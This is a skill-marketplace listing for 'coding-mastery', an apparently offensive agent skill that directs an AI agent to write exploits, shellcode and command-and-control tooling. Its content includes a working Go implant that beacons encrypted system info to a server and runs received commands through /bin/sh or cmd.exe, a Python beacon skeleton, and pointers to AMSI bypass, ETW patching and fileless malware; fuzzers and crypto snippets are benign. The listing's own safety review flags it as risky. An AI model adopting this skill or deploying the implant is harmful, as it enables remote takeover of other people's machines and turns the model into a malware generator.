coding-mastery
Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation
Install / Use
npx skills add hypnguyen1209/offensive-claude --skill coding-masteryInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of coding-mastery
coding-mastery scores 91/100 on our quality scale, 455th of 1,097 Security skills we index (top 42%).
Its SKILL.md is 15 KB long, well organised into 34 sections with 15 code examples: a thorough specification that gives an agent plenty to work with.
It has 377 GitHub stars, a meaningful sign that others use it.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so coding-mastery is actively maintained.
- Our last check on 2026-11-19 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill is explicitly framed for the weaponize phase (TA0042) and instructs the agent to produce exploit_code, custom C2 tooling, and shellcode.
AI review: risky
- The skill is explicitly framed for the weaponize phase (TA0042) and instructs the agent to produce exploit_code, custom C2 tooling, and shellcode.
- It provides complete C2 beacon/implant patterns that encrypt system info, beacon to a server, and execute arbitrary shell commands via /bin/sh or cmd.exe.
- It includes process injection, AMSI bypass, ETW patching, fileless malware, and Windows API abuse examples, which are backdoor/evasion techniques that harm users.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-05. Automated pattern scan on 2026-10-05. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
coding-mastery compared with similar skills
All 4 of these similar skills score higher than coding-mastery; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| coding-mastery (this skill)by hypnguyen1209 | 91 | 377 | 2mo ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 113.3k | 12d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 80.2k | today | CLAUDE.md |
| Claude-Code-Game-Studiosby Donchitos | 100 | 40.2k | 10d ago | CLAUDE.md |
| Scraplingby D4Vinci | 100 | 104.4k | 2d ago | MCP Server |
Frequently asked questions
- How do I install coding-mastery?
- Run
npx skills add hypnguyen1209/offensive-claude --skill coding-mastery. The install tabs above show the steps for each supported agent. - Which AI agents does coding-mastery work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is coding-mastery safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill is explicitly framed for the weaponize phase (TA0042) and instructs the agent to produce exploit_code, custom C2 tooling, and shellcode. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is coding-mastery still maintained?
- The repository was last updated about 2 months ago, so coding-mastery is actively maintained.
Skill content
View source on GitHubname: coding-mastery description: Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation metadata: type: utility phase: any kill_chain: phase: [weaponize] step: [2] attck_tactics: [TA0042] depends_on: [] feeds_into: [exploit-development, shellcode-dev, edr-evasion] inputs: [tool_requirements] outputs: [custom_tooling, exploit_code]
Coding Mastery
When to Activate
- Writing exploit code, PoCs, or security tools
- Developing automation scripts for pentesting workflows
- Implementing network protocols or custom C2
- Building security analysis tools
- Cryptographic implementation or analysis
- Performance-critical systems programming
Languages & Use Cases
Python (Primary — Offensive Tooling)
# Exploit development with pwntools
from pwn import *
context(arch='amd64', os='linux')
# Network programming
import socket, ssl, struct
import asyncio, aiohttp # async operations
# Web exploitation
import requests, urllib3
from bs4 import BeautifulSoup
# Crypto
from Crypto.Cipher import AES, DES
from Crypto.PublicKey import RSA
import hashlib, hmac
# Binary analysis
import struct, ctypes
from capstone import * # disassembly
from unicorn import * # emulation
from keystone import * # assembly
C/C++ (Systems & Exploit Dev)
// Shellcode development
// Position-independent code, null-free
// Syscall-based (avoid libc dependency)
// Kernel module development
#include <linux/module.h>
#include <linux/kernel.h>
// Windows API abuse
#include <windows.h>
#include <winternl.h>
// Direct syscalls, NTAPI
// Memory manipulation
// Custom allocators, heap spray, ROP gadget finders
Go (Offensive Tooling & C2)
// Implant development (cross-compile, static binary)
// C2 communication (HTTP/DNS/named pipes)
// Network scanning and enumeration
// Proxy/tunnel tools (chisel-like)
// Advantages: single binary, cross-platform, fast, good crypto stdlib
Rust (High-Performance Security Tools)
// Memory-safe exploit tooling
// High-performance scanners
// Custom protocol implementations
// Fuzzing harnesses
PowerShell (Windows Post-Exploitation)
# AMSI bypass, ETW patching
# In-memory execution (reflection)
# AD enumeration and exploitation
# Fileless malware techniques
Assembly (x86/x64/ARM)
; Shellcode
; ROP gadgets
; Anti-debugging
; Kernel exploitation
; Architecture-specific tricks
Design Patterns for Security Tools
Scanner Architecture
import asyncio
from dataclasses import dataclass
from typing import AsyncIterator
@dataclass
class Finding:
severity: str
target: str
vulnerability: str
evidence: str
class Scanner:
def __init__(self, targets: list[str], concurrency: int = 50):
self.targets = targets
self.semaphore = asyncio.Semaphore(concurrency)
async def scan_target(self, target: str) -> list[Finding]:
async with self.semaphore:
# Implement scan logic
pass
async def run(self) -> AsyncIterator[Finding]:
tasks = [self.scan_target(t) for t in self.targets]
for coro in asyncio.as_completed(tasks):
findings = await coro
for f in findings:
yield f
C2 Communication Pattern
import base64, json, time, random
from cryptography.fernet import Fernet
class Beacon:
def __init__(self, server: str, key: bytes, jitter: float = 0.3):
self.server = server
self.cipher = Fernet(key)
self.jitter = jitter
self.sleep_time = 60
def encrypt(self, data: bytes) -> str:
return base64.b64encode(self.cipher.encrypt(data)).decode()
def decrypt(self, data: str) -> bytes:
return self.cipher.decrypt(base64.b64decode(data))
def sleep(self):
jitter = random.uniform(1 - self.jitter, 1 + self.jitter)
time.sleep(self.sleep_time * jitter)
def checkin(self) -> dict:
# POST encrypted system info, receive tasking
pass
Network Protocol Implementation
import struct
class ProtocolParser:
def __init__(self, data: bytes):
self.data = data
self.offset = 0
def read_u8(self) -> int:
val = struct.unpack_from('B', self.data, self.offset)[0]
self.offset += 1
return val
def read_u16(self) -> int:
val = struct.unpack_from('>H', self.data, self.offset)[0]
self.offset += 2
return val
def read_u32(self) -> int:
val = struct.unpack_from('>I', self.data, self.offset)[0]
self.offset += 4
return val
def read_bytes(self, n: int) -> bytes:
val = self.data[self.offset:self.offset + n]
self.offset += n
return val
def read_string(self) -> str:
length = self.read_u16()
return self.read_bytes(length).decode()
Cryptography Patterns
# AES-GCM (authenticated encryption)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
key = AESGCM.generate_key(bit_length=256)
aes = AESGCM(key)
nonce = os.urandom(12)
ct = aes.encrypt(nonce, plaintext, associated_data)
pt = aes.decrypt(nonce, ct, associated_data)
# RSA key generation and usage
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
public_key = private_key.public_key()
# Encrypt
ct = public_key.encrypt(plaintext, padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), label=None))
# HMAC for integrity
import hmac, hashlib
mac = hmac.new(key, message, hashlib.sha256).digest()
# Key derivation
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=600000)
key = kdf.derive(password)
Advanced: Exploit Development Patterns
Custom Fuzzer Architecture
import os, signal, subprocess, struct, random
from multiprocessing import Pool
class CoverageFuzzer:
def __init__(self, target_binary, corpus_dir, crashes_dir):
self.target = target_binary
self.corpus = self._load_corpus(corpus_dir)
self.crashes_dir = crashes_dir
self.coverage = set()
def mutate(self, data: bytes) -> bytes:
mutations = [
self._bit_flip,
self._byte_flip,
self._insert_interesting,
self._splice,
self._havoc,
]
mutator = random.choice(mutations)
return mutator(data)
def _bit_flip(self, data: bytes) -> bytes:
d = bytearray(data)
pos = random.randint(0, len(d) * 8 - 1)
d[pos // 8] ^= (1 << (pos % 8))
return bytes(d)
def _insert_interesting(self, data: bytes) -> bytes:
interesting = [0, 1, 0x7f, 0x80, 0xff, 0xffff, 0x7fffffff, 0x80000000, 0xffffffff]
d = bytearray(data)
pos = random.randint(0, len(d) - 4)
val = random.choice(interesting)
struct.pack_into('<I', d, pos, val & 0xffffffff)
return bytes(d)
def run_target(self, input_data: bytes) -> tuple:
"""Returns (exit_code, new_coverage)"""
proc = subprocess.run(
[self.target], input=input_data, capture_output=True,
timeout=5, env={**os.environ, 'ASAN_OPTIONS': 'detect_leaks=0'}
)
if proc.returncode < 0: # Signal = crash
return (proc.returncode, True)
return (proc.returncode, False)
def fuzz_loop(self, iterations=100000):
for i in range(iterations):
seed = random.choice(self.corpus)
mutated = self.mutate(seed)
code, crashed = self.run_target(mutated)
if crashed:
crash_path = f"{self.crashes_dir}/crash_{i:06d}"
open(crash_path, 'wb').write(mutated)
C2 Implant Architecture (Go)
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"encoding/json"
"io"
"net/http"
"os/exec"
"runtime"
"time"
)
type Beacon struct {
Server string
Key []byte
Sleep time.Duration
Jitter float64
KillDate time.Time
}
type Task struct {
ID string `json:"id"`
Command string `json:"cmd"`
Args string `json:"args"`
}
type Result struct {
TaskID string `json:"task_id"`
Output string `json:"output"`
Error string `json:"error,omitempty"`
}
func (b *Beacon) Encrypt(data []byte) ([]byte, error) {
block, _ := aes.NewCipher(b.Key)
gcm, _ := cipher.NewGCM(block)
nonce := make([]byte, gcm.NonceSize())
io.ReadFull(rand.Reader, nonce)
return gcm.Seal(nonce, nonce, data, nil), nil
}
func (b *Beacon) Decrypt(data []byte) ([]byte, error) {
block, _ := aes.NewCipher(b.Key)
gcm, _ := cipher.NewGCM(block)
nonceSize := gcm.NonceSize()
return gcm.Open(nil, data[:nonceSize], data[nonceSize:], nil)
}
func (b *Beacon) CheckIn() (*Task, error) {
sysinfo := map[string]string{
"os": runtime.GOOS, "arch": runtime.GOARCH,
}
body, _ := json.Marshal(sysinfo)
enc, _ := b.Encrypt(body)
resp, err := http.Post(b.Server+"/api/beacon",
"application/octet-stream",
bytes.NewReader(enc))
if err != nil { return nil, err }
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
dec, _ := b.Decrypt(respBody)
var task Task
json.Unmarshal(dec, &task)
return &task, nil
}
func (b *Beacon) Execute(task *Task) *Result {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd.exe", "/c", task.Args)
default:
cmd = exec.Command("/bin/sh", "-c", task.Args)
}
output, err := cmd.CombinedOutput()
result := &Result{TaskID: task.ID, Output: base64.StdEncoding.EncodeToString(output)}
if err != nil { result.Error = err.Error() }
return result
}
Network Protocol Fuzzer
import socket, struct, random, itertools
from dataclasses import dataclass, field
@dataclass
class ProtocolField:
name: str
fmt: str # struct format
value: int = 0
fuzzable: bool = True
@property
def size(self): return struct.calcsize(self.fmt)
def pack(self): return struct.pack(self.fmt, self.value)
def fuzz(self):
boundaries = [0, 1, self.max_val - 1, self.max_val, self.max_val // 2]
return random.choice(boundaries + [random.randint(0, self.max_val)])
@property
def max_val(self): return (1 << (self.size * 8)) - 1
class ProtocolFuzzer:
def __init__(self, host, port, fields: list[ProtocolField]):
self.host, self.port = host, port
self.fields = fields
def build_packet(self, fuzz_field=None) -> bytes:
pkt = b''
for f in self.fields:
if f.name == fuzz_field and f.fuzzable:
pkt += struct.pack(f.fmt, f.fuzz())
else:
pkt += f.pack()
return pkt
def send(self, packet: bytes) -> bytes:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((self.host, self.port))
s.send(packet)
try: resp = s.recv(4096)
except: resp = b''
s.close()
return resp
def fuzz_all_fields(self, iterations=1000):
for i in range(iterations):
field = random.choice([f for f in self.fields if f.fuzzable])
pkt = self.build_packet(fuzz_field=field.name)
try:
resp = self.send(pkt)
if not resp:
print(f"[!] No response fuzzing {field.name} iter {i}")
Truncated for display — read the full file on GitHub.
Related Skills
Agent-Reach
113.3kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
headroom
80.2kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
Claude-Code-Game-Studios
40.2kTurn Claude Code into a full game dev studio — 49 AI agents, 75 workflow skills, and a complete coordination system mirroring real studio hierarchy.
Scrapling
104.4k🕷️ The BEST Web Scraping framework that handles everything from a single request to a full-scale crawl! Don't be shy, join here: https://discord.gg/EMgGbDceNQ and follow here for daily tips and tricks: https://x.com/Scrapling_dev
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
